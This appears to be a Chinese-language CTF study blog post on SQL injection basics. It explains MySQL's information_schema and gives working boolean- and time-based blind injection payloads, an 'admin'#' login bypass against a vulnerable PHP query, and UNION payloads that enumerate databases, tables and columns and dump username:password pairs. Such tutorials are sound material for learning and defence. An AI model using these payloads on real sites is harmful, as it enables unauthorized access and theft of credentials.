MENU

SQL注入基础

October 19, 2020 • Read: 483 • CTF阅读设置

在数据库中存在一个系统库:information_schema

在它里面有个存着所有库名的表:schemata
字段 schema_name :库名

在它里面有个存着所有表名的表:tables
字段 table_schema :表属于的库
字段table_name 表名

在它里面有个存着所有字段名的表:columns
字段 table_schema :表属于的库
字段 table_name 表名
字段 column_name 字段名

相关语法

select * from 表:从表里查询所有内容

where:有条件的从表里选取数据

andor:选取数据时存在多个条件

order by:根据指定的结果集/指定的列进行排序

limit 0,1:从第一行起显示一条记录

union select :将多个表拼在一起 select * from union select * from info 最后输出两张表

获取当前数据库的字段

select table_name from information_schema.tables where table_schema=database()

盲注:

1.布尔盲注 根据注入信息返回turefalse

length()函数 返回字符串长度

?id=1 and length(database()>1)

substr()截取字符串,从第一位截取一个

?id=1 and substr(database(),1,1)='k'

ord()/ascii()返回字符的ascii

?id=1 and ord(substr(database(),1,1))=107

2.时间盲注 只会返回true通过加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

sleep()函数 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1'and if(length(database())=8,0,sleep(5))-- +

Eg.:

//登录部分php代码
select username,password,nickname from username='$username' and password='$password'

于是可以构造$username='admin'#' and password='{$Any}实现登录即传入username参数为admin'# 其中引号实现对之前的引号的闭合作用,而#则可以注释掉掉后面的部门,即不必进行password的判断 因此传入任意password实现登录

而要实现对password的爆破,则可以构造username为1' union select 1,2,(${})#,前面的1‘即实现登录而后面则是查找操作,注意选择一个数据库中不存在的username,比如1已存在 则采用65537’ union后面为要查找的内容 观察php代码我们发现要传入三个字段因此传入1,2起占位符的作用,而后面则为要查找的内容

\\查库名
   \\仅查找一项
   1' union select 1, 2, (select schema_name from information_schema.schemata limit 1)#
   \\采用group_concat实现多项查找
   1' union select 1, 2, (select group_concat('\'',schema_name,'\'') from information_schema.schemata limit 1)#

\\查表名
1' union select 1, 2, (select group_concat('\'', table_name, '\'') from information_schema.tables where table_schema = 'user_center')#

\\查字段名
1' union select 1, 2, (select group_concat('\'', column_name, '\'') from information_schema.columns where table_schema = 'user_center' and table_name = 'user')#

\\查username与password
1' union select 1, 2, (select group_concat('\'', username, '\'', ':', '\'', password, '\'') from user)#
Last Modified: November 9, 2021